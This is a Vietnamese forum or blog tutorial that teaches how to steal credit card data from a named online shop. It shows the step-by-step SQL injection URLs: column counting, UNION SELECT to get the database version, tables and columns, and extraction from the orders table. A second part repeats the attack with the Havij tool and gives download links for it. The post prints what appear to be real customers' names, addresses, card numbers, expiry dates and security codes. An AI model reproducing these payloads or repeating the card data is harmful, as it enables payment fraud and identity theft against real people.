VICTIM: http://www.deanaccessories.com/index.php?do=products&category_id=18
Mới được share trên DF, làm TUT luôn :D

Phần 1: Bằng tay:

Site này lỗi Injection, không nói gì nhá: http://www.deanaccessories.com/index.php?do=products&category_id=18′
Đếm số column. Bạn để ý sự khác biệt trong 2 link sau: http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 1–
http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 10–
Khi mình query order by 1, không có lỗi, tức là phép query TRUE.
Khi query 10 lỗi vì số column không tới 10 nên gặp lỗi.
Bạn hãy suy nghĩ, 10 lỗi, chưa chắc là số column là 9. lần lượt order by từ 1 tới 10.
Theo kinh nghiệm, mình sử dụng order by 10, nếu lỗi thì 5, phương pháp tìm kiếm đó :D

http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 5–  <= TRUE http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 7–  <= TRUE http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 8–  <= TRUE http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 9–  <= FALSE
order by 8 TRUE, còn 9 lỗi suy ra có 8 column.
Tiếp tục union để lấy tables:
http://www.deanaccessories.com/index.php?do=products&category_id=18 and 1=0 union select 1,2,3,4,5,6,7,8–
Column lỗi là số 3 (nó sẽ hiện ra).
Tiếp theo sẽ lấy version của My SQL. Tại sao phải lấy???
Đối với Version 5, việc lấy các tables thì đơn giản, nhưng Version 4, phải đoán :(. Gặp Ver 4 là bỏ thôi

http://www.deanaccessories.com/index.php?do=products&category_id=18 and 1=0 union select 1,2,version(),4,5,6,7,8–

5.1.26-rc-5.1.26rc
Ver 5 này  :D
Giờ là lấy tables: http://www.deanaccessories.com/index.php?do=products&category_id=18  and 1=0 union select 1,2,group_concat(table_name),4,5,6,7,8 from  information_schema.tables–

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,

COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,

KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,

ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,

TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,

dean_admin_users,dean_attributes,dean_cart,dean_categories,dean_coupons,dean_orders,dean_orders_products,

dean_products,dean_products_attributes,dean_reviews,dean_shipping,dean_sub_attributes
Thường thì CC hay chứa ở các table như order custommer, users. Ở đây mình thử coi cái table dean_orders xem.
Vào trang: http://www.string-functions.com/string-hex.aspx để converter chuỗi qua HEX để query.
Converter chuỗi: dean_orders sẽ được 6465616e5f6f7264657273
Tiếp theo lấy column: http://www.deanaccessories.com/index.php?do=products&category_id=18  and 1=0 union select 1,2,group_concat(column_name),4,5,6,7,8 from  information_schema.columns where table_name  in(0x6465616e5f6f7264657273)–

order_id,customer_email,customer_phone,billing_fname,billing_lname,billing_address1,billing_address2,

billing_city,billing_state,billing_zip,shipping_fname,shipping_lname,shipping_address1,shipping_address2,

shipping_city,shipping_state,shipping_zip,coupon_code,coupon_code_total,cc_type,cc_number,cc_exp_month,

cc_exp_year,cc_code,shipping_method,shipping_instructions,shipping_total,tax_name,tax_total,order_total,

payment_method,remote_ip,order_date
Bạn thấy gì chưa: cc_number,cc_exp_month,cc_exp_year,cc_code CCV nè :-P
Lấy data nào: http://www.deanaccessories.com/index.php?do=products&category_id=18  and 1=0 union select  1,2,group_concat(order_id,0x7c,billing_fname,0x7c,billing_lname,0x7c,billing_address1,
0x7c,billing_address2,0x7c,billing_city,0x7c,billing_state,0x7c,billing_zip,0x7c,cc_type,0x7c,
cc_number,0x7c,cc_exp_month,0x7c,cc_exp_year,0x7c,cc_code),4,5,6,7,8  from dean_orders–
7c là dấu | để ngăn cách column đó.
Cái gì nó hiện ra kìa  :D


256|DAWN  SORA|YANG|385 E GREEN STREET UNIT  2604||PASADENA|CA|91101|Visa|4356030403082778|4|2014|876,184|Ashley|Palmer|526  Via de la Valle Unit A||Solana  Beach|CA|92075|Visa|4217661433996162|2|2013|183,183|ryan|widger|1119  earl  street||philadelphia|PA|

19125|Visa|4430480001337514|10|2011|759,233|Marek|Bute|10621  San Palatina St.||Las  Vegas|NV|89141|Visa|4868302094482000|1|2012|954,234|Adam|Best|30 W  90th|Apt 3C|New  York|NY|10024|Visa|4124570009851440|11|2011|242,237|Natalia|Hryckiwskyj|3008  Granite  Rd||Woodstock|MD|

21163|Visa|4828500530055020|9|2011|602,239|Shannon|DeWolfe|720  W Grace  #1N||Chicago|IL|60613|Visa|4266841228278030|5|2012|104,169|Jaime|Halla|3600  Fillmore St. #308||San  Francisco|CA|94123|MasterCard|5287161991844013|7|2011|333,170|Stacey|Bloomston|120  Camellia  Drive||Birmingham|AL|

35213|Visa|4325224200204374|12|2012|410,278|Terry|Miller|3408  Ashe Road  #D||Bakersfield|CA|93309|Visa|4460248704648609|5|2013|916,232|renee|zavislak|5235  diamond heights blvd.|apt. 226|san francisco|CA|94131|Visa|446542039
Không  phải chỉ có thế thôi nha, muốn lấy tiếp, ta cho điều kiện sau truy vấn  là order_id>=232. 232 là cái order_id của CC cuối trong trang này.
Một số shop bị xóa CC Num, để lọc, ta có thể thêm where cc_num>0. Đó là kinh nghiệm thôi nha :D


Phần 2: Bằng Havij:

Tool có thể down trên trang chủ: http://itsecteam.com/en/projects/project1_page2.htm
hoặc: http://www.mediafire.com/?tjv03bj5yy354a0

Mở Havij lên, dán link shop vào Target
http://www.deanaccessories.com/index.php?do=products&category_id=18
Nhớ rằng phải để cái id=xx.
Click Analyze.
Nó sẽ tự truy vấn và tìm database cho mình:

DB Server: MySQL >=5 Selected Column Count is 8 Finding string column Valid String Column is 1 Target Vulnerable :D Current DB: deanaccessories_com_-_main
Get Tables:
Click vào Get Tables sẽ ra các table có trong database deanaccessories_com_-_main.
Get Column:
Như nãy, ta biết CC nằm ở Table Dean_orders, vì vậy mình sẽ check chọn table dean_orders và click vào Get Columns


Check chọn những column cần thiết liên quan tới CC: First name Last name Address 1 City State Zip Country CC num CC EXP CC Code
Chọn và click vào Get Data.

Count(*) of deanaccessories_com_-_main.dean_orders is 201
Tức là có 201 orders
Ngồi chờ cho nó Get xong và save data lại thôi :dalongnheo.
À, như phần 1, lọc điều kiện, nếu shop có nhiều order không có CC num, ta lọc bằng Havij như sau:
Click vào mũi tên bên cạnh nút Get Data chọn Filter:

gõ vào điều kiện của CC num, như shop này là: cc_number>0
Tức là chỉ lấy những data nào có column cc_number không trống.

Đơn giản và dễ hiểu phải không nào :D
END.
Mình còn newbie, các pro đừng chém nha

 TUT by phongdatgl

0 Nhận Xét:

Post a Comment

 
Top
Share Emphasis